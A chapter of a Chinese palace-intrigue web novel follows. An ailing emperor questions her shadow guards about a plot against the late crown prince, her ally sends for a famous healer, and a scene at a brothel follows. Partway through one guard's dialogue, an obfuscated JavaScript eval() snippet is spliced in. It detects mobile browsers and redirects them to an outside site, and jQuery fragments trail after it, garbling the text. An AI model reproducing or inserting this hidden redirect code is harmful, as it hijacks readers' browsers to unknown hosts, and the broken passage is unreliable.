身后的密道再次打开,楚知默深呼了一口,挥手屏退了张太医。
来的是影四和影五,即使是迟钝的影五也察觉到了不对劲的气氛,影三也从暗处走了出来,一屋子的人洋洋洒洒把她围了个满。
有眼力见的影四扫视了一圈在场几人的脸色,见各个都绷着脸,将原本插科打诨的话都吞进了肚子里,
赵齐又为她添了杯茶,楚知默轻笑着拒绝了,
“再喝一杯,今晚朕可就睡不着了。”
被她这么说,赵齐才反应过来,也是被急昏了头,大晚上的给皇帝倒了两杯茶了,转头出去叫人给她准备热水。
楚知默没关赵齐的安排,看向后来的两人,拢了拢衣袍,
“怎么样,他都说什么了?”
影四回头瞥了影五一眼,见她没有要开口的意思,影五上前回话,
“他招了,他被派去灭河西节度使的口,但并未在家中找到人,人都杀了,索性一把火烧了宅子,之后鬼市也没有找到人,这件事就不了了之了。”
楚知默皱了皱眉,
“就这些?”
影五点了点头,
“就这些,他并没有反抗,问什么都答。”
能在鬼市活下来的人都不是傻子,现在奚无影在她们手里,总比在鬼市手里活得好,
“将人看住了。”
影五领命退了下去,楚知默这才分出精力想看了影四,挑了挑眉,
“人带回来了?”
影卫从来都是听命行事,从不会违背皇帝的命令,所以这次影四也并不是擅离职守,而是领了命令,
“带回来了,但情况不太好。”
影四出宫,不光是看护崔鹤鸣崔太傅,更是因为崔太傅曾与她说过一件事,
当年太子谋反,楚知默曾在冷宫中匆匆见过楚元廷一面,那是他一共说过两句话,
第一句是,朝安,我中计了,城外云隐寺中有我先前就藏好的部下和东西,会有人在南门接应,你趁乱出宫,他们会接应保护你的。
因着这句话,楚知默暗中收下了太子当时藏在云隐寺的一部分旧部和宸妃,
第二句,朝安,你要相信我,我没有谋反,正午门是陷阱,我没有想到她并不是被威胁的,他们的目的是从一开始就是我!
楚元廷当然不会谋反,真正有让楚知默念念不忘的是后半句,正午门是陷阱,我没有想到她并不是被威胁的。
正午门的陷阱,她并不是被威胁的。
而这个‘她’是谁?
刚做皇帝的那一阵,她每天晚上都在做噩梦,梦里有被吊在房梁上的林老师,还有浑身是血的楚元廷,楚元廷就静静地站在那里,嘴里不断重复着这两句话。
说实话,最后这句话她最直观的理解是,也许楚元廷突然带兵强闯是因为想要帮这个‘她’,结果没想到被‘她’骗了。
可这个‘她’到底是谁,楚知默始终想不通,
一个能够和作为太子的楚元廷搭上关系,并能够让他为之做到这个地步的人,不多,几乎是凤毛麟角。
她第一个想到的人是林老师,
这个想法一冒出来的时候,楚知默便被自己气笑了,林老师不会害楚元廷的,
更何况,林老师的死因至今成谜,
这个‘她’,在无数个不眠夜中缠着楚知默,让她头疼,她的直觉告诉她,如果找出了这个‘她’,也就会知道当年到底发生了什么。
她的时间不多了,在所剩无几的时间里,她一定要为楚元廷翻案!
往后史书翻开时,她的太子要如山巅最白净的雪,受后世景仰。
至于影四带回来的人,是太子曾经的乳娘,正午门之乱后,那为乳娘活了下来,新皇登基,天下大赦,出了宫,这人正好是崔太傅的同乡,
所以楚知默便暗中交代了任务给影四。
“那乳娘早就过了宫女出宫的年纪,眼睛已经瞎了,一路病恹恹的,我这是还不容易紧赶慢赶才将人活着送了回来。”
楚知默点了点头,朝会在即,各国的使者不时就会进宫觐见,一双双眼睛都聚在她的身上,她属实有些走不开。
“这事先放一放,将人看住了,影九呢?让他去问问话,看能套出来多少。”
前十中,最拿手审讯的人便是影九,不过要是按辈分来说,楚知默还要叫他一声师叔,影九和影二师出同门,两个人一个赛一个的精,
只是比起他师傅,影九低调得多,
若她师傅是抑郁不得志的谋士,那么影九便是知足常乐的游士。
只不过这个游士,游的是诏狱。
影三开口回道,“在刑部,要召回来吗?”
楚知默摇了摇头,“不用来见朕了,将他暗中去一趟崔老的府邸,见见那位乳娘就行。”
话音一落,楚知默的后脑便传来了密密麻麻的疼,剧烈的疼痛传来得太突然,几乎一下就夺走了她的理智,皱紧了眉头,用手按住了太阳穴,试图缓解,但效果甚微。
谢既明看得眼一热,
“没事吧,陛下?”
楚知默的精力耗费得差不多了,该交代的都交代了,挥手将众人都赶走,谢既明两步一头,三步一回身,最后见楚知默扶额痛苦的模样,眉心皱的能够夹死苍蝇。
他冷着脸带着影四和影五一同进了密道,
终于得了空隙的影四回想起刚才陛下的样子,心中顿生疑惑,
“不过几月不见,陛下怎么瘦成了这样?这还没到寒冬腊月呢?我怎么闻到了麻黄的味道?”
谢既明始终阴沉着脸,满脑子都是刚才张太医的话,他这辈子最不信的就是绝对,这世上能人奇士何其多,不过是噬心毒,他偏不相信没人能解得了。
不过影四的话倒是提醒了他,他们当中唯一会医术的就只有影四了,影四天生根骨奇特,不仅力气大于常人,就连嗅觉也比一般人要敏感,当时他父亲培养他们时,第一眼就看出了她是个学医的好苗子,将她送到了药谷。
“我记得去年过年时,药谷的老谷主还送了年货到镇国公府,你抽个空,借镇国公的名头去趟药谷,把老谷主请来。”
这话一出,影四瞬间皱起了眉头,江湖传言,药谷的谷主能活死人肉白骨,
虽然这话夸张的成分占多,但却也不是空穴来风,因为就没有他老谷主医不好救不活的人,只要还有口气,他就能将人从死神手里拉回来。
正因如此,当谢既明开口请老谷主时,影四第一时间便会想到了楚知默惨白的脸色,
她知道小皇帝的情况不好,但没想到已经不好到要请谷主出马的地步了!
属实给了她不小的震惊,她舔了舔嘴唇,
“这恐怕不太行,药谷已经闭谷有几个月了,老谷主那年岁,千里迢迢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457762|185363||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来趟京都,能不能回去都不一定。”
她的话音刚落,就对上了谢既明冷厉的眼神,心头一震,下意识低下了头,
“小爷不是再和你商量,就算是抬,也要把他给我抬到京都!听到了没有!”
影四不在多言,低头领命。
他们这帮影卫从小便是由镇国公所操练,而谢既明自然就是他们的少主,
谢既明是个随性洒脱的,与他们从未有过阶级之分,这也让他们模糊了彼此之间的地位,但他们不会忘记从小被灌输刻在骨子的使命,
皇帝是他们的主子,谢既明是他们的少主。
而听从主子的命令,是影卫的天职。
朝会如约而至,京都的大街上时不时便能看到打扮迥异的人,不过百姓们多是看几人就躲得远远的,只有傻子才会凑上去。
但花满楼就不一样了。
在这里,管你是皇亲贵胄,还是平民百姓,只要有钱,在这儿,就是你说得算。
穿的花枝招展的老鸨笑出了满脸的褶子,歌舞升平的花满楼可谓是人山人海,一票难求,
南宫霄带着身后一众侍卫,大摇大摆地晃了进来,一身五颜六色,雄赳赳气昂昂地翘着尾巴莅临了京都最大的销金窝。
在看见他的第一刻,老鸨的眼睛都冒光,像一只看见过了金蛋的母鸡,围了上去,
“呦,这位公子周身气度不凡,一看便不是我京都人士,看着是哪国来的皇子是吧?”
这话南宫霄爱听,当即伸手,从身后护卫手中拿出了一袋银子,扔给了老鸨,
“眼神倒是不错,本皇子我并不爱张扬,也不用你在这儿吆喝,本皇子就要你这儿最好的姑娘,只要把本皇子伺候好了,银子不是问题。”
老鸨掂量了手中的银袋子,眼角的皱纹都深了几度,转身笑呵呵地高声喊道,
“知画!知画呢!叫她出来,今儿,贵人来了!”
花满楼的知画可谓是名扬京都,她与普通的艺伎不同,长袖善舞和动人歌喉只是她最不起眼的傍身之计,
一手琵琶弹得人如临仙境,让人如痴如醉,
不仅如此,琴棋书画她更是样样精通。
曾经有位王爷因着她的一首诗而砸下了千金都没有见到她一面,最后用一副早已失传的名画,换来了与她一盘棋局的时间,
从那一面之后,那位王爷留下了一句,“天下之女人莫过于洛神,而洛神莫过于知画。”
至此,知画一夜成名,千金难买片刻芳泽。
花满楼更是因为天下人络绎不绝地追捧她,而赚的盆满钵满,
老鸨看她比看眼珠子都要紧,不是你有钱就能见的。
而听到如今老鸨这就叫了知画出来,各个眼红得厉害,谁不想见见这位名动天下的姑娘到底是何模样?
砰——
二楼传来一声桌子被踢到的巨响,引得众人望了过去,老鸨手一紧,一股不好的预感涌上了心头,果然,循声望去,便看到了一张她并不陌生的脸,
李闻淮,礼部尚书的小儿子,京都有名的不着调败家子。
醉醺醺地李闻淮衣衫大氅,摇摇晃晃地倚靠在二楼的围栏前,一身的脂粉味都快腌进骨头里了,脸颊上两朵绯红上朦胧的醉眼努力睁大着,嚣张地冲着下面喊道,
“是哪个不长眼的东西要见知画!有胆子就站出来让小爷看看!”